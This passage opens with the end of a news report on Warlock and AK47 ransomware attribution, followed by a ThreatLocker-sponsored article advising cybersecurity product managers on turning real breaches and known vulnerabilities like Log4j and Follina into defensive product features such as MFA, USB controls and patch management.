development since at least early March 2025. The cybersecurity company also pointed out that it has not found any common indicators to link Warlock ransomware and X2anylock (aka AK47 ransomware), and that it cannot "conclusively" ascertain if the two ransomware strains are one and the same. (The story was updated after publication on August 6, 2025, to include additional insights about AK47 C2 from Palo Alto Networks Unit 42.)

Article written by cybersecurity expert Yuriy Tsibere. Gone are the days when cybersecurity meant stopping annoying viruses like the Love Bug. Today, it’s about battling a massive, financially motivated cybercrime industry. Attacks are smarter, faster, and more damaging—and that changes everything for product teams. For product managers (PMs), this means understanding that attackers are constantly exploiting the same weak spots: stolen admin credentials, missing multi-factor authentication (MFA) on VPNs, remote encryption, and clever “living off the land” (LOTL) tricks like using Office to launch PowerShell. Even something as simple as an unpatched firewall or a rogue USB drive can open the door to a breach. New vulnerabilities and zero-days are popping up all the time, and product teams have to stay on their toes. A few examples: WannaCry (2017): Used the EternalBlue flaw in SMBv1 to spread ransomware fast. It forced companies to disable SMBv1 altogether. Some Exchange Server bugs: Let attackers run malicious scripts, sometimes leading to ransomware. Log4j vulnerability: A vulnerability in a popular Java logging framework that enables arbitrary code execution. Still showing up in outdated firewalls and VPNs. Follina (MSDT): Let Office apps launch PowerShell without any user interaction. Timely patching helps, but it’s not enough. There’s always a gap between discovering a flaw and fixing it. That’s why teams need layered defenses and a mindset that’s ready to respond to incidents as they happen. How breach reports drive real-time product shifts The 100 days to secure your environment webinar series from ThreatLocker is a great example of incident-driven development. It helps security leaders focus on what matters most in their first few months. Real-world breaches often directly lead to new product features or policy changes. Here’s how: Unlocked machines: a threat actor once accessed a hospital computer that was left open and ran PowerShell. Now, password-protected screen savers are a must. USB data theft: USB drives are still a go-to for stealing data. Products now offer fine-grained USB controls—blocking unencrypted drives, limiting file types, or capping how many files can be copied. Lateral movement: Ransomware often spreads using old admin accounts. Tools now detect and remove these after review. LOTL attacks: Follina showed how legit tools can be misused. Ringfencing™ helps stop apps from launching things they shouldn’t. Outbound traffic abuse: Attacks like SolarWinds used outbound connections. Now, default-deny policies for server traffic are becoming standard. Stolen credentials: MFA is non-negotiable for cloud accounts, remote access, and domain controllers. Vulnerable VPNs: Unpatched VPNs are a big risk. Features now include IP-based access controls or even disabling unused VPNs. The PM's response: From advisory to actionable feature For cybersecurity PMs, reacting to threats means more than just writing advisories. It’s about building smarter, safer products. Here’s how: Get full visibility Start by understanding what’s running in your environment. Use monitoring agents to track file activity, privilege changes, app launches, and network traffic. Prioritize risks With a complete picture, PMs can focus on high-risk tools and behaviors: - Remote access tools like TeamViewer or AnyDesk - Software with too many permissions (e.g., 7-Zip, Nmap) - Risky browser extensions - Software from high-risk regions Drive adaptive policy creation Security policies should evolve with the threat landscape: - Test first: Use monitor-only mode and test groups before enforcing new rules. - Be precise: Go beyond on/off switches—use dynamic ACLs, Ringfencing, and app-specific admin rights. - Encourage adoption by minimizing disruption - Offer a store of pre-approved apps - Make it easy to request new software - Explain why restrictions exist—it builds trust - Continuous improvement and monitoring: - Use health reports to spot misconfigurations - Block USB file copies if thresholds are exceeded - Clean up old policies and unused apps regularly Embrace patch management Make sure everything—from operating systems to portable applications like PuTTY—is up to date. Use tools to find missing patches and test them with pilot users before rolling out. Protect backups Backups must be shielded from compromise. This includes limiting which apps can access them and requiring MFA for backup services. PMs should also test the backups regularly to validate recovery readiness. Cybersecurity PMs are on the front lines of using real-world protections against real-world threats. By staying informed, collecting the right data, and building with users in mind, you can reduce risk without making life harder for your team. Sponsored and written by ThreatLocker.